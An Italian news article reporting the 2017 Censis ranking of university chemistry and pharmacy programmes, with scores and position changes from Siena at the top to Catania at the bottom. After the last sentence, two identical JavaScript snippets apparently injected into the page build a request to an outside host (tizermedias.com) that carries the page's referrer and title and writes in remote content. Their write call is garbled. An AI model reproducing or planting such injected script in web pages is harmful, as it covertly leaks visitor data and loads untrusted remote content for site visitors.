classifica Censis dell'area chimico-farmaceutica 2017

Un dominio che sembra inattaccabile. È quello dell’Università di Siena, che mantiene il primo posto conquistato l’anno passato anche nella classifica Censis dell’area chimico-farmaceutica 2017. E lo fa con un punteggio medio eccellente, pari a 109 su 110. L’Università di Pavia è costretta nuovamente a inchinarsi alla rivale, che la sopravanza di ben 11,5 punti. Per l’ateneo lombardo, che si conferma in seconda posizione, la valutazione media si ferma a 97,5. La graduatoria, che valuta le università in base ai corsi di laurea afferenti alle classi di Scienze e tecnologie chimiche (L-27) e Scienze e tecnologie farmaceutiche (L-29), vede quest’anno al terzo posto la coppia formata da Genova, autrice di una formidabile rimonta, e Perugia, anch’essa in risalita di numerose posizioni. Per loro il punteggio medio è di 93.

Al quarto posto della classifica Censis dell’area chimico-farmaceutica 2017 c’è un altro ateneo in decisa ascesa: Padova (90,5), che nella precedente edizione si era piazzata addirittura fuori dalla top ten. Se c’è chi risale, ci deve obbligatoriamente essere qualcuno che scende. Tra coloro che perdono terreno rispetto a dodici mesi fa c’è Ferrara, che lascia il terzo gradino del podio per accomodarsi in quinta posizione con 90 punti. Guadagna, invece, tre posti Bologna, che conquista il sesto posto con una media di 89,5.

Dietro l’ateneo emiliano troviamo l’Università di Milano-Bicocca (89), che prosegue la discesa iniziata l’anno scorso e questa volta finisce settima. In ottava posizione, con un punteggio medio pari a 88,5, c’è il duo SassariTrieste. Per l’università friulana si tratta di un passo indietro, mentre per quella sarda di uno straordinario recupero, visto che la precedente edizione della graduatoria la vide relegata al terzultimo posto. Al nono posto della classifica Censis dell’area chimico-farmaceutica 2017 c’è l’Università di Firenze (87) e al decimo la Ca’ Foscari (86), che precipita dalla quarta posizione del 2016.

Nella zona centrale della classifica Censis dell’area chimico-farmaceutica 2017 troviamo, nell’ordine, Camerino (85), il tandem InsubriaParma (entrambe con 84,5 punti) e il terzetto formato da Palermo, Urbino e dall’Università del Piemonte Orientale (84), che precede la Statale di Milano e l’Università di Modena e Reggio Emilia, appaiate con 83 punti, e Torino (82,5). Nella parte bassa della graduatoria si piazzano, invece, la coppia formata da L’Aquila e La Sapienza (80), quella “Tor Vergata”Salerno (78), Pisa (75), Messina (74,5), l’Università della Campania “Luigi Vanvitelli” (74)  e il duo composto da Cagliari e dall’ Università della Calabria (73,5).

In coda alla classifica Censis dell’area chimico-farmaceutica 2017 troviamo, infine, l’Università della Basilicata, terzultima con 72,5 punti, Bari e Napoli “Federico II”, che condividono la penultima posizione con una media di 71 su 110, e Catania. All’ateneo siciliano, il cui punteggio medio è di appena 67,5, spetta questa volta l’ultimo posto della graduatoria.(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();